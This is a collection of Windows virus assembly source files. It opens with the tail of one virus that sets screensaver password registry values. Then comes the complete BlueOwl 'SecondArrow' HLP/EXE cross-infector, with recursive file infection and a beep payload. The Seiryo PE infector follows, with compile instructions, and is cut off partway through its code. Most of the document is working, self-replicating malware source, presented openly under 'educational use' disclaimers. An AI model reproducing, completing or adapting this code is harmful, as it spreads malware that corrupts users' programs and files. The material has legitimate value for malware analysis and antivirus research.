call [ebp+CloseHandle-delta]
mov eax,[ebp+_alloc-delta] ; restore old attribs
push eax
add eax,44
push eax
call [ebp+SetFileAttributesA-delta]
jmp findnextfile
no_more_filez:
ret
; variables part II
APInames:
_GetWindowsDirectoryA DB "GetWindowsDirectoryA",0
_GetCurrentDirectoryA DB "GetCurrentDirectoryA",0
_SetCurrentDirectoryA DB "SetCurrentDirectoryA",0
_GetSystemDirectoryA DB "GetSystemDirectoryA",0
_GetCommandLineA DB "GetCommandLineA",0
_GetSystemTime DB "GetSystemTime",0
_ExitThread DB "ExitThread",0
_CreateThread DB "CreateThread",0
_CloseHandle DB "CloseHandle",0
_UnmapViewOfFile DB "UnmapViewOfFile",0
_MapViewOfFile DB "MapViewOfFile",0
_SetFileAttributesA DB "SetFileAttributesA",0
_CreateFileMappingA DB "CreateFileMappingA",0
_CreateFileA DB "CreateFileA",0
_FindNextFileA DB "FindNextFileA",0
_FindFirstFileA DB "FindFirstFileA",0
_VirtualAlloc DB "VirtualAlloc",0
_LoadLibraryA DB "LoadLibraryA",0
_RegSetValueExA DB "RegSetValueExA",0
_RegOpenKeyExA DB "RegOpenKeyExA",0
ptr_table:
DD offset _GetWindowsDirectoryA
DD offset _GetCurrentDirectoryA
DD offset _SetCurrentDirectoryA
DD offset _GetSystemDirectoryA
DD offset _GetCommandLineA
DD offset _GetSystemTime
DD offset _ExitThread
DD offset _CreateThread
DD offset _CloseHandle
DD offset _UnmapViewOfFile
DD offset _MapViewOfFile
DD offset _SetFileAttributesA
DD offset _CreateFileMappingA
DD offset _CreateFileA
DD offset _FindNextFileA
DD offset _FindFirstFileA
DD offset _VirtualAlloc
DD offset _LoadLibraryA
regkey DB "Control Panel\desktop",0
value1name DB "ScreenSaveUsePassword",0
value2 DB 31h,42h,41h,44h,32h,34h,35h,38h,32h,32h,32h,37h,45h
DB 37h,35h,45h,33h,39h,44h,38h,30h,38h,41h,41h,00h
value2name DB "ScreenSave_Data",0
v_end:
end v_start

587
Win32/Win32.SecondArrow.asm Normal file

@ -0,0 +1,587 @@
;
; SecondArrow by BlueOwl
;
; HLP/EXE (Cross)-Infector
;
; Disclaimer
;
; This is the assembler source of a VIRUS. Me, the author
; cannot be held responsible for any problems caused by
; the compiled program. Please do not assemble it if you do
; not know what you are doing.
;
; Description
;
; Exes and hlps have always been in a nice kind of circulation,
; and this is exactly what this virus exploits, infecting both.
; It infects up to 3 files per run and only randomly activates
; its payload when no file was infected. I liked doing something
; like this because i thought it was fun combining to techniques
; of infection into one.
;
; About hlps
;
; Hlps are a little bit harder to infect than exefiles (when dealing
; with the bare minimum infection), and infecting hlps is relatively
; onnused comparing to the thousands of exeinfectors around this globe.
; However, it is quite possible to do so and it can work under any
; windows platform with most versions of winhlp.exe.
;
; Hlp file infection just exploits the very simple fact that you can
; use any windows function in hlps. So for example you could use
; MessageBoxA(0,"Hello","Dear reader",0); and when the hlpfile loads
; it will display this string. Now the thing that can be exploited
; here is that one could also pass something like EnumWindows("[string]"
; , 0); to it and the "[string]" would be executed because this is
; an ENUMERATE function (windows calls the first argument). And
; this string can also be the virus code. There is however one problem:
; the virus must be a string and thus can't be executed if any
; zero's are present in the string. This is solved in hlp virusses by
; writing/pusing the entire virus body onto stack and executing it there.
;
; Payload
;
; Make a scary sound. ;)
;
; Assemble with fasm (version 1.50/1.52 should work fine at least)
; get it from http://www.flatassembler.net
format PE GUI 4.0
include '%fasminc%\win32a.inc' ; fasm assembles this FLAT with read/write/execute attributes
; .equates
GENERIC_READWRITE equ 0C0000000h
find_data equ (_fd-4)
hfind equ (_hf-4)
virus_size equ ((virus_enda-virus_start)/4+1)*4 ; aligned to a dword (required when being in stack)
virus_end equ (virus_start+virus_size) ; otherwise the virus will start with a few zeros
OldEip equ (oep-4)
macro wcall proc,[arg] ; wcall procedure (indirect)
{ common ; a macro for calling windows apis ;)
if ~ arg eq
stdcall [ebp+proc-delta],arg
else
call [ebp+proc-delta]
end if }
; .startup
mov dword [OldEip], exit
; .code
virus_start: push 012345678h ; only used when an exe was infected
oep: pushad ; save regs
cld ; clear direction flag
decrypt_from: call set_seh_handler
mov esp, [esp+8] ; restore seh
jmp error_occurred
db "..SecondArrow.."
set_seh_handler:sub eax, eax
fs push dword [eax]
fs mov [eax], esp ; setup self exeption handling
exehlpa: stc ; this is a clc when we are a hlp
jc exe_start
mov edi, [esp+virus_size+44] ; esi = return address (in kernel32)
jmp in_find_k32
exe_start: mov edi, [esp+44] ; edi = somewhere in k32
jmp in_find_k32
find_k32: dec edi ; what do you think of this routine ;)
in_find_k32: sub di, di ; align
cmp word [edi], "MZ"
jnz find_k32 ; edi = base of kernel32
call load_delta
delta: dd 0c3941b3eh ; data is carried close to delta so
CreateFile dd ? ; this way most references are small
dd 092d23c21h
ReadFile dd ?
dd 0b9b3edbfh
SetFilePointer dd ?
dd 0d43240b9h
WriteFile dd ?
dd 08a425b5dh
CloseHandle dd ?
dd 0bda885d4h
FindFirstFile dd ?
dd 06c38b20bh
FindNextFile dd ?
dd 0a050a531h
FindClose dd ?
dd 0c6c1b075h
GlobalAlloc dd ?
dd 0c4617123h
GlobalLock dd ?
dd 05837bb59h
GlobalUnlock dd ?
dd 0b8925923h
GlobalFree dd ?
dd 0642682e4h
SetCurrentDirectory dd ?
dd 08a844000h
Beep dd ? ; for the payload
dd 030e656feh
GetTickCount dd ? ; ditto
dd 0
infection_count db 0
hmem dd "Spac"
hfile dd "e fo"
hfmem dd "r re"
hfstart dd "nt $"
nbr dd "5 ! "
all_mask db "*.*",0 ; seach for whatever
macrostart db 4,0,_mse-_ms,0
_ms db 'RR("KERNEL32","EnumSystemCodePagesA","SU")',0 ; a macro with callback features
_mse: db 4,0
macro_size dw ?
enumw db 'EnumSystemCodePagesA("'
xchg edi, esp ; edi = esp
std ; decrementing pointer
dec edi ; otherwise the last byte would get overwritten
endmacrostart:
startmacrosize equ (endmacrostart-macrostart)
macroend: xchg edi, esp ; esp = edi
inc esp ; actual entry
push esp
ret ; jump to esp
db '",0)',0
endmacroend:
endmacrosize equ (endmacroend-macroend)
load_delta: pop ebp ; ebp = delta handle
mov esi, ebp
lodsd
get_funcs: xchg ebx, eax
push esi
push ebp
mov ebp, [edi+60]
add ebp, edi ; ebp = ptr to peheader
mov ebp, [ebp+120]
add ebp, edi ; ebp = ptr to export table
mov edx, [ebp+36]
add edx, edi ; edx = ptr to function ordinals
mov esi, [ebp+32]
add esi, edi ; esi = ptr to ptrs of function names
mov ecx, [ebp+20] ; ecx = number of exported functions
find_function: push esi
push edx
sub eax, eax
cdq ; edx=eax=0
mov esi, [esi]
add esi, edi ; esi = ptr to function name
make_checksum: lodsb
add edx, eax
rol edx, 5
or eax, eax
jnz make_checksum ; edx = checksum
cmp edx, ebx ; compare with needed
pop edx
pop esi
jz ff_ok
add esi, 4 ; next namepointer
inc edx
inc edx ; next ordinal
loop find_function
jmp function_notfound ; exit with eax = 0
ff_ok: mov esi, [ebp+28]
add esi, edi ; esi = ptr to function addresses
movzx ecx, word [edx] ; ecx = function number
inc ecx ; ecx ++
rep lodsd
add eax, edi ; eax = function address
function_notfound:
pop ebp
pop esi
mov [esi], eax
or eax, eax ; function could not be found?
je error_occurred
lodsd
lodsd
or eax, eax
jnz get_funcs ; load all functions
mov byte [ebp+infection_count-delta], 3 ; better not more then 3 ;)
wcall GlobalAlloc,GMEM_MOVEABLE,314
or eax, eax
jz error_occurred
mov [ebp+find_data-delta], eax
wcall GlobalLock,eax
mov [ebp+hmem-delta], eax
call infect_files
cmp byte [ebp+infection_count-delta], 3 ; nothing infected?
jnz close_mem
wcall GetTickCount ; Get a "random" number
cmp al, 44h ; so this occurs one in about 256 times
jnz close_mem
; payload
push 37 ; make a scary sound payload :)
pop esi
sub edi, edi
countup: add esi, edi
wcall Beep,esi,40
inc esi
test esi, 7
jnz nok
inc edi
nok: cmp esi, 1500
jb countup
close_mem: mov esi, 012345678h
_fd: wcall GlobalUnlock,esi
wcall GlobalFree,esi
error_occurred: sub eax, eax
fs pop dword [eax]
pop ebx
exehlpb: stc
popad
jc exit_exe
add esp, virus_size+4 ; fix stack
sub eax, eax ; return false
ret 4
exit_exe: ret
; ///////////////////////////////////////////////////////////////////////////
infect_files: lea eax, [ebp+all_mask-delta] ; seach for anything
wcall FindFirstFile,eax,[ebp+hmem-delta]
mov [ebp+hfind-delta], eax ; save findhandle
inc eax
jz no_file_found ; close memory on error
try_next_file: cmp byte [ebp+infection_count-delta], 0
jz no_file_found ; close search
mov edi, [ebp+hmem-delta]
mov eax, [edi+32] ; eax = size of file
and al, 15
cmp al, 15 ; check for infection padding
jz already_infected
call set_infection_seh
mov esp, [esp+8]
jmp restore_seh
set_infection_seh:
sub eax, eax
fs push dword [eax]
fs mov [eax], esp
; open and read file
lea ebx, [edi+44d]
mov esi, ebx ; esi = start of filename
find_end: lodsb
or al, al
jnz find_end ; esi = ptr to end of file name
mov eax, [esi-5] ; eax = file extension
or eax, 020202020h ; to lowercase
cmp eax, ".exe"
je ext_ok
cmp eax, ".hlp"
jne not_infectable
ext_ok:
sub eax, eax
wcall CreateFile,ebx,GENERIC_READWRITE,eax,eax,3,128,eax ; open the file
mov [ebp+hfile-delta], eax
inc eax
jz cant_open_file
mov eax, dword [edi+32d]
add eax, virus_size*3+4000h ; add some extra space
wcall GlobalAlloc,GMEM_MOVEABLE,eax ; Get some space
or eax, eax
jz close_file
mov [ebp+hfmem-delta], eax
wcall GlobalLock,eax ; Lock it (required for some windowsversions)
or eax, eax
jz close_fmem
mov [ebp+hfstart-delta], eax
push eax
lea ebx, [ebp+nbr-delta]
wcall ReadFile,[ebp+hfile-delta],eax,[edi+32d],ebx,0 ; Load file into memory
or eax, eax
jz close_lock
pop edx
mov edi, edx ; save start to edi too
push edx
lea eax, [ebp+exehlpa-delta]
lea ecx, [ebp+exehlpb-delta]
push dword [ecx]
push ecx
mov ebx, [esi-5]
or ebx, 020202020h
cmp ebx, ".exe"
je is_exe
mov byte [eax], 0f8h
mov byte [ecx], 0f8h ; hlp marker (clc)
call infect_hlpfile
jmp infect_done
is_exe: mov byte [eax], 0f9h ; exe marker (stc)
mov byte [ecx], 0f9h
call infect_exefile
infect_done: pop eax
pop dword [eax]
pop edx
jc close_lock ; carry flag is on if error happened
dec byte [ebp+infection_count-delta] ; take on off the infection counter
sub edi, edx ; edi = size of file
push edi
wcall SetFilePointer,[ebp+hfile-delta],0,0,FILE_BEGIN
pop ecx
or cl, 15 ; infection sign
lea eax, [ebp+nbr-delta]
wcall WriteFile,[ebp+hfile-delta],[ebp+hfstart-delta],ecx,eax,0
close_lock: wcall GlobalUnlock,[ebp+hfmem-delta]
close_fmem: wcall GlobalFree,[ebp+hfmem-delta]
close_file: wcall CloseHandle,[ebp+hfile-delta]
cant_open_file:
jmp restore_seh
not_infectable: cmp dword [edi], FILE_ATTRIBUTE_DIRECTORY ; is this a directory?
jnz restore_seh
lea eax, [edi+44]
cmp byte [eax], "." ; is a root?
jz restore_seh
wcall SetCurrentDirectory,eax ; set it as dir
push dword [ebp+hfind-delta]
call infect_files ; recursive call
pop dword [ebp+hfind-delta]
call dot_dot
db "..",0
dot_dot: wcall SetCurrentDirectory ; return to this dir
restore_seh: sub eax, eax
fs pop dword [eax]
pop eax
already_infected:
push [ebp+hmem-delta]
push 012345678h
_hf: call [ebp+FindNextFile-delta]
or eax, eax
jnz try_next_file
no_file_found:
wcall FindClose,[ebp+hfind-delta]
ret
; ----------------------------------------------------------------------------------------
; both routines
; on entry: edi = edx = start of file
;
; on exit: carry on: error happened
; carry off: infection successfull
; i tried to make the smallest possible routine for this
; all is old school and should be easily understandable
; reading the comments ;)
infect_exefile: cmp word [edx], "MZ" ; "MZ" present?
jnz no_good_exe
add edx, [edx+60]
cmp word [edx], "PE" ; "PE" present?
jnz no_good_exe
mov esi, edx ; esi = peheader
add esi, 120 ; esi = dirheader
mov eax, [edx+116] ; eax = number of dir entries
shl eax, 3 ; eax = eax*8
add esi, eax ; esi = first section header
movzx eax, word [edx+6] ; eax = number of sections
dec eax ; eax = eax-1
imul eax,eax,40
add esi, eax ; esi = ptr to last section header
or byte [esi+39], 0F0h ; give section necessary rights
mov ecx, virus_size ; ecx = size of virus
mov ebx, [esi+16] ; ebx = physical size of section
add [esi+16], ecx ; increase section physical size
add [esi+8], ecx ; increase section virtual size
push dword [esi+8] ; push section virtual size
pop dword [edx+80] ; imagesize = section virtual size
mov eax, [esi+12] ; eax = section rva
add [edx+80], eax ; add it to the imagesize
add edi, [esi+20] ; edi = section offset
add edi, ebx ; edi = end of section
add eax, ebx ; eax = rva of virus
xchg [edx+40], eax ; swap it with old entrypoint
add eax, [edx+52] ; add imagebase to it
mov [ebp+OldEip-delta], eax ; save it
lea esi, [ebp+virus_start-delta] ; esi = virus start
rep movsb ; edi = ptr to end of file
clc ; indicate sucess
ret
no_good_exe: stc ; indicate error
ret
; HLP Infection routine, see upper comments
; and comments below to see how it works
;
; .The source of HLP.AYUDA (29a#5) was very helpfull when
; .i got lost a little! Thankyou Bumblebee.
;
; Here is a little "diagram" about how we touch this stuff.
; Note: if you don't know, rb [num] means [num] bytes
; dots mean and undefined number of data
;
; -------- HLP FILE -------
;
; Magic dd 00035f3fh
; DirStart dd offset main_directory
; NotDir dd ?
; filesize dd official filesize
; .
; .
; .
; main_directory:
; String rb 9
; Magic dw 293bh
; Data rb 28
; Kind dw ?
; .
; .
; .
; String "|SYSTEM"
; System dd offset to system_directory
; .
; .
; system_directory:
; data rb ? (here is the old system directory)
; .
; .
; .
; eof_file:
; (here the old system_directory + our stuff comes)
;
; ----------------------------
infect_hlpfile: cmp dword [edi], 00035f3fh ; check for magic value
jnz no_good_hlp
mov esi, [edi+12] ; esi = filesize
add edi, [edi+4] ; edi = ptr to hlpfileheader
cmp word [edi+9], 293bh ; check for magic here
jnz no_good_hlp
cmp word [edi+39], 1 ; check if the data is not indexed
jnz no_good_hlp
mov ecx, 565 ; set scan range
find_system: inc edi
cmp dword [edi], "|SYS" ; find |SYSTEM, ignoring all between
jz system_found
loop find_system
jmp no_good_hlp
system_found: xchg esi, [edi+8] ; swap it with ptr to system dir
add esi, edx ; get system dir
cmp word [esi+9], 036ch ; check if system dir
jnz no_good_hlp
mov ecx, [esi] ; size of system dir
mov edi,edx
add edi,[edx+12] ; edi = ptr to end of file
push edi ; save start
rep movsb ; copy old system directory
push edi
lea esi, [ebp+macrostart-delta] ; copy start of new macro
mov ecx, startmacrosize
rep movsb
lea esi, [ebp+virus_end-delta]
mov ecx, virus_size
; The whole virus will be translated into
; "mov al, virus_byte[x]; stosb" 's, if
; the character is a zero a "sub al, al;
; stosb" is used instead. Furthermore
; other "special" chars are "\"d.
loop_generate: mov al, 0B0h ; mov al, ..
dec esi
mov ah, byte [esi]
cmp ah, 22h ; '"'
je fix_it
cmp ah, 27h ; '''
je fix_it
cmp ah, 5ch ; '\'
je fix_it
cmp ah, 60h ; '''
je fix_it
or ah, ah ; 0
jnz no_fix
mov ax, 0C028h ; sub al, al
jmp no_fix
fix_it: stosb
mov al, '\'
no_fix: stosw
mov al, 0AAh ; stosb
stosb
loop loop_generate
lea esi, [ebp+macroend-delta]
mov cl, endmacrosize
rep movsb
pop esi ; get start of new sysdir
pop ebx
mov ecx, edi ; ecx = edi
sub ecx, esi ; ecx = size of new sysdir
sub ecx, (enumw-macrostart)
mov word [esi+macro_size-macrostart], cx
mov ecx, edi
sub edi, ebx ; edi = system size
mov [ebx], edi
add [edx+12], edi
sub edi, 9
mov [ebx+4], edi
xchg ecx, edi ; edi = end of file
clc ; indicate success
ret
no_good_hlp: stc ; failure
ret
; i hope you understood this stuff!
db "My way into history!",13,10
db "BlueOwl June/2004"
virus_enda:
padding dd 0
exit: ret
; BlueOwl June/2004 ;)

976
Win32/Win32.Seiryo.asm Normal file

@ -0,0 +1,976 @@
COMMENT ` ---------------------------------------------------------------- )=-
-=( Natural Selection Issue #1 ------------------------------ Win32.Seiryo )=-
-=( ---------------------------------------------------------------------- )=-
-=( 0 : Win32.Seiryo Features -------------------------------------------- )=-
Imports: Locates the Kernel, does it's own imports
Infects: PE files containing .reloc section by expanding the host's CODE
section and putting itself in it (and not setting the write
bit)
Locates: Files in current directory
Compatibility: All tested windows versions
Saves Stamps: Yes
MultiThreaded: No
Polymorphism: None
AntiAV / EPO: None
SEH Abilities: None
Payload: None
-=( 1 : Win32.Seiryo Design Goals ---------------------------------------- )=-
The purpose of this virus was to test a relatively new method of allocating
space for a virus. Traditionally, the virus is simply appended to the end of
the file as either a separate section or tacked onto the last section. This
has the problem that usually the entry point to the file is now not the code
section, and inevitably program execution leaves the code section.
This idea was derived from Zombie's Zmist - that is to use the .reloc section.
This virus looks for a file with a reloc section, memory maps it, and proceeds
to expand the code section to fit the virus. It then copies itself into this
space. All the other sections are moved back to make space for the virus, the
code section is updated to reflect these changes (thanks to reloc telling you
where the data is), and then the entire PE header must be updated. So, how
well does this method work?
Here's a breakdown of what must be done and it's complexity:
: Calculating the move amounts/new addresses is straight forward.
: Using .reloc to update the .text is surprisingly easy
But:
: Fixing up EVERY RVA/VA in the PE header is a nightmare, especially with the
documentation on the more obscure parts of it being hard to come by. The main
stuff that NEEDS to be fixed is:
: PE Header (SizeOfImage, etc)
: Data Directory
: Section Table
: Import Tables (HNA, and first thunk too)
: .reloc section
: Resource Section (else icons disappear - may as well write a
prepending virus if you don't)
: Export Section (and all that goes with that)
: Debug Entries (optional - just zero it)
: There are about 5-8 more thing, but they are never used and
good documentation on them is scarce
So, how well does it work? It works ok.
Well, coding it is lots of work, and the debugging highly unpleasant.
Reconstructed files are surprisingly stable providing that the code is
correctly debugged. It could well become the preferred method of infection in
terms of stealth. The lengthy code, potential bugs, and complexity could be a
deterrence for use in an average virus.
-=( 2 : Win32.Seiryo Design Faults --------------------------------------- )=-
This is a test virus, so the it's spreading ability is minimal.
The major drawback to this infection method is that not all files have .reloc
sections. In fact, only about half of non-system files, maybe less have one.
Thus this method should probably have a backup method of space allocation.
-=( 3 : Win32.Seiryo Disclaimer ------------------------------------------ )=-
THE CONTENTS OF THIS ELECTRONIC MAGAZINE AND ITS ASSOCIATED SOURCE CODE ARE
COVERED UNDER THE BELOW TERMS AND CONDITIONS. IF YOU DO NOT AGREE TO BE BOUND
BY THESE TERMS AND CONDITIONS, OR ARE NOT LEGALLY ENTITLED TO AGREE TO THEM,
YOU MUST DISCONTINUE USE OF THIS MAGAZINE IMMEDIATELY.
COPYRIGHT
Copyright on materials in this magazine and the information therein and
their arrangement is owned by FEATHERED SERPENTS unless otherwise indicated.
RIGHTS AND LIMITATIONS
You have the right to use, copy and distribute the material in this
magazine free of charge, for all purposes allowed by your governing
laws. You are expressly PROHIBITED from using the material contained
herein for any purposes that would cause or would help promote
the illegal use of the material.
NO WARRANTY
The information contained within this magazine are provided "as is".
FEATHERED SERPENTS do not warranty the accuracy, adequacy,
or completeness of given information, and expressly disclaims
liability for errors or omissions contained therein. No implied,
express, or statutory warranty, is given in conjunction with this magazine.
LIMITATION OF LIABILITY
In *NO* event will FEATHERED SERPENTS or any of its MEMBERS be liable for any
damages including and without limitation, direct or indirect, special,
incidental, or consequential damages, losses, or expenses arising in
connection with this magazine, or the use thereof.
ADDITIONAL DISCLAIMER
Computer viruses will spread of their own accord between computer systems, and
across international boundaries. They are raw animals with no concern for the
law, and for that reason your possession of them makes YOU responsible for the
actions they carry out.
The viruses provided in this magazine are for educational purposes ONLY. They
are NOT intended for use in ANY WAY outside of strict, controlled laboratory
conditions. If compiled and executed these viruses WILL land you in court(s).
You will be held responsible for your actions. As source code these viruses
are inert and covered by implied freedom of speech laws in some
countries. In binary form these viruses are malicious weapons. FEATHERED
SERPENTS do not condone the application of these viruses and will NOT be held
LIABLE for any MISUSE.
-=( 4 : Win32.Seiryo Compile Instructions -------------------------------- )=-
TASM32 5.0 & TLINK32 1.6.71.0
tasm32 /m /ml Seiryo.asm
tlink32 /Tpe /x Seiryo.obj, Seiryo.exe,,import32.lib
-=( 5 : Win32.Seiryo ----------------------------------------------------- ) `
%out Assembling file implies acceptance of disclaimer inside source code
.386
.model flat, stdcall
warn ; Warnings on
VIRSIZE equ VirEnd - VirStart
extrn ExitProcess:PROC
INVALID_HANDLE_VALUE equ 0FFFFFFFFh
OPEN_EXISTING equ 3
FILE_SHARE_WRITE equ 0002h
FILE_BEGIN equ 0
FILE_MAP_WRITE equ 2
GENERIC_READ equ 80000000h
GENERIC_WRITE equ 40000000h
PAGE_READWRITE equ 00000004h
WIN32_FIND_DATA struct
fd_dwFileAttributes dd 0
fd_ftCreationTime dd 0, 0
fd_ftLastAccessTime dd 0, 0
fd_ftLastWriteTime dd 0, 0
fd_nFileSizeHigh dd 0
fd_nFileSizeLow dd 0
fd_dwReserved0 dd 0
fd_dwReserved1 dd 0
fd_cFileName db 260 dup(0)
fd_cAlternateFileName db 14 dup(0)
WIN32_FIND_DATA ends
PEHEADER struct
ID dd ?
Machine dw ?
NumberOfSections dw ?
TimeDateStamp dd ?
PointerToSymbolTable dd ?
NumberOfSymbols dd ?
SizeOfOptionalHeader dw ?
Characteristics dw ?
; Optional Header:
MagicNumber dw ?
MajorLinkerVersion db ?
MinorLinkerVersion db ?
SizeOfCode dd ?
SizeOfInitializedData dd ?
SizeOfUninitializedData dd ?
AddressOfEntryPoint dd ?
BaseOfCode dd ?
BaseOfData dd ?
ImageBase dd ?
SectionAlignment dd ?
FileAlignment dd ?
MajorOperatingSystemVersion dw ?
MinorOperatingSystemVersion dw ?
MajorImageVersion dw ?
MinorImageVersion dw ?
MajorSubsystemVersion dw ?
MinorSubsystemVersion dw ?
Reserved1 dd ?
SizeOfImage dd ?
SizeOfHeaders dd ?
CheckSum dd ?
Subsystem dw ?
DllCharacteristics dw ?
SizeOfStackReserve dd ?
SizeOfStackCommit dd ?
SizeOfHeapReserve dd ?
SizeOfHeapCommit dd ?
LoaderFlags dd ?
NumberOfRvaAndSizes dd ?
DataDirectory dd 20 dup (?)
PEHEADER ends
; -**************************-
; Section Table Entry format
; -**************************-
SECTION struct
sec_Name db 8 dup (?)
sec_VirtualSize dd ?
sec_VirtualAddress dd ?
sec_SizeOfRawData dd ?
sec_PointerToRawData dd ?
sec_PointerToRelocations dd ?
sec_PointerToLinenumbers dd ?
sec_NumberOfRelocations dw ?
sec_NumberOfLineNumbers dw ?
sec_Characteristics dd ?
SECTION ends
; Section Characteristics flags
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC_CODE equ 00000020h
SEC_INITIALIZED_DATA equ 00000040h
SEC_UNINITIALIZED_DATA equ 00000080h
SEC_NO_CACHE equ 04000000h
SEC_NOT_PAGEABLE equ 08000000h
SEC_SHARED equ 10000000h
SEC_EXECUTABLE equ 20000000h
SEC_READ equ 40000000h
SEC_WRITE equ 80000000h
; -*******************-
; Import Table format
; -*******************-
IMPORTTABLE struct
imp_Characteristics dd ?
imp_DateTimeStamp dd ?
imp_ForwarderChain dd ?
imp_Name dd ?
imp_FirstThunk dd ?
IMPORTTABLE ends
; -*******************-
; Export Table format
; -*******************-
EXPORTHEADER struct
exp_Characteristics dd ?
exp_DateTimeStamp dd ?
exp_MajorVersion dw ?
exp_MinorVersion dw ?
exp_Name dd ?
exp_Base dd ?
exp_NumberOfFunctions dd ?
exp_NumberOfNames dd ?
exp_AddressOfFunctions dd ?
exp_AddressOfNames dd ?
exp_AddressOfNameOrdinals dd ?
EXPORTHEADER ends
; -******************-
; Resource Dir Table
; -******************-
RESOURCETABLE struct
res_Characteristics dd ?
res_DateTimeStamp dd ?
res_MajorVersion dw ?
res_MinorVersion dw ?
res_NumNameEntry dw ?
res_NumIDEntry dw ?
RESOURCETABLE ends
RESOURCEENTRY struct
resent_ID dd ?
resent_Next dd ?
RESOURCEENTRY ends
; -****************-
; Thread Dir Table
; -****************-
THREADTABLE struct
thread_StartDataVA dd ?
thread_EndDataVA dd ?
thread_IndexVA dd ?
thread_CallbackTableVA dd ?
THREADTABLE ends
.DATA
dummy db 0
; *******
; Local Variables
; *******
AlignPhys equ -3
AlignVirtual equ -4
VirusRVA equ AlignVirtual-4
VirusVA equ VirusRVA-4
MoveAmount equ VirusVA-4
PhysMove equ MoveAmount-4
_FindFirstFileA equ PhysMove-4
_CreateFileA equ _FindFirstFileA-4
_CreateFileMappingA equ _CreateFileA-4
_MapViewOfFile equ _CreateFileMappingA-4
_UnmapViewOfFile equ _MapViewOfFile-4
_SetFilePointer equ _UnmapViewOfFile-4
_SetEndOfFile equ _SetFilePointer-4
_SetFileTime equ _SetEndOfFile-4
_CloseHandle equ _SetFileTime-4
_FindNextFileA equ _CloseHandle-4
Imports equ _FindNextFileA ; Label (no -4)
FileFind equ Imports-size WIN32_FIND_DATA
FileFindHnd equ FileFind-4
SizeOfLocals equ -FileFindHnd
.CODE
VirStart:
start:
push ebp ; Setup locals on stack
mov ebp, esp
sub esp, SizeOfLocals
mov edi, [ebp+4]
and edi, 0FFFFf000h
mov ecx, 128
FindKernelLoop:
cmp word ptr [edi], 'ZM'
je short GotKernel
sub edi, 1000h
loop FindKernelLoop
GotoExitInfector:
jmp ExitInfector
GotKernel:
movzx edx, word ptr [edi+3Ch]
add edx, edi
cmp dword ptr [edx], 'EP'
jne short GotoExitInfector
mov edx, [edx].DataDirectory ; Get Kernel Exports
add edx, edi
xor ecx, ecx
mov esi, [edx].exp_AddressOfNames
add esi, edi
FindGetProc:
inc ecx
cmp ecx, [edx].exp_NumberOfNames
jg short GotoExitInfector
lodsd
add eax, edi
cmp [eax], 'PteG'
jne short FindGetProc
cmp [eax+4], 'Acor'
jne short FindGetProc
cmp [eax+8], 'erdd'
jne short FindGetProc
mov ebx, [edx].exp_AddressOfNameOrdinals
add ebx, edi
movzx ecx, word ptr [ebx+2*ecx]
sub ecx, [edx].exp_Base
mov ebx, [edx].exp_AddressOfFunctions
add ebx, edi
mov edx, [ebx+4*ecx]
add edx, edi
call PushImportsAddress
db 14,'FindNextFileA',0
db 12,'CloseHandle',0
db 12,'SetFileTime',0
db 13,'SetEndOfFile',0
db 15,'SetFilePointer',0
db 16,'UnmapViewOfFile',0
db 14,'MapViewOfFile',0
db 19,'CreateFileMappingA',0
db 12,'CreateFileA',0
db 15,'FindFirstFileA',0
db 0
PushImportsAddress:
pop esi
xor ecx, ecx
mov ebx, edi
lea edi, [ebp+Imports]
ImportLoop:
mov cl, [esi]
inc esi
jecxz DoneImports
push edx
push ecx
call edx, ebx, esi
or eax, eax
jz ExitInfector
pop ecx
pop edx
stosd
add esi, ecx
jmp short ImportLoop
DoneImports:
lea eax, [ebp+FileFind] ; Find an Exe file
push eax
call PushFileMask
db '*.exe',0
PushFileMask:
call [ebp+_FindFirstFileA]
mov [ebp+FileFindHnd], eax
cmp eax, INVALID_HANDLE_VALUE
je ExitInfector
InfectNextFile:
lea eax, [ebp+FileFind].fd_cFileName ; Get FileName
cmp byte ptr [eax], 0 ; use short if no long
jne short UseLongFileName
lea eax, [ebp+FileFind].fd_cAlternateFileName
UseLongFileName:
call [ebp+_CreateFileA], eax, GENERIC_READ+GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0
cmp eax, INVALID_HANDLE_VALUE ; Map the file
je FindTheNextFile
push eax ; Push FileHandle for close
mov ebx, [ebp+FileFind].fd_nFileSizeLow
add ebx, VIRSIZE+10000
call [ebp+_CreateFileMappingA], eax, 0, PAGE_READWRITE, 0, ebx, 0
or eax, eax
je CloseAndExitInfector
push eax
xchg eax, esi
call [ebp+_MapViewOfFile], esi, FILE_MAP_WRITE, 0, 0, 0
push eax ; Push Memory Addy for close
mov esi, eax
cmp word ptr [eax], 'ZM' ; Check if exe is ok to infect
jne InfectableNo
cmp word ptr [eax+18h], 40h
jb InfectableNo
movzx ecx, word ptr [eax+3Ch]
add eax, ecx
cmp dword ptr [eax], 'EP'
jne InfectableNo
cmp [eax].NumberOfRvaAndSizes, 10
jb InfectableNo
cmp [eax].MinorLinkerVersion, 7 ; Infection Marker
je InfectableNo
movzx edx, [eax].SizeOfOptionalHeader
lea edx, [eax+edx+18h] ; Start of Section table
; Check For code section being first
test [edx].sec_Characteristics, SEC_CODE
jz InfectableNo
mov byte ptr [ebp+AlignVirtual],1 ; See if Virt aligned
mov ebx, [edx].sec_VirtualSize
mov ecx, [eax].SectionAlignment
dec ecx
test ebx, ecx
jz short VirtuallyAligned
dec byte ptr [ebp+AlignVirtual]
VirtuallyAligned:
mov byte ptr [ebp+AlignPhys],1 ; See if Phys aligned
mov edi, [edx].sec_SizeOfRawData
mov ecx, [eax].FileAlignment
dec ecx
test edi, ecx
jz short PhysicallyAligned
dec byte ptr [ebp+AlignPhys]
PhysicallyAligned:
cmp ebx, edi ; Which is smaller?
jbe short UseVirtualSize ; (i.e. actual size)
mov ebx, edi
UseVirtualSize:
mov edi, ebx ; Find Physical move amount
add edi, [edx].sec_PointerToRawData
lea edi, [edi+ecx+VIRSIZE]
not ecx
and edi, ecx
mov [ebp+PhysMove], edi
add ebx, [edx].sec_VirtualAddress ; Find VA & RVA of virus
mov [ebp+VirusRVA], ebx
mov edi, ebx
add ebx, [eax].ImageBase
mov [ebp+VirusVA], ebx
movzx ecx, [eax].NumberOfSections ; Code Section First?
mov ebx, [edx].sec_VirtualAddress
push edx
push ecx
CheckForFirstSection:
cmp ebx, [edx].sec_VirtualAddress
ja InfectableNo
add edx, size SECTION
loop CheckForFirstSection
pop ecx
pop edx
dec ecx ; Section 2 is Next?
jz short DoneCheckNextSec
mov ebx, [edx + size SECTION].sec_PointerToRawData
sub [ebp+PhysMove], ebx
mov ebx, [edx + size SECTION].sec_VirtualAddress
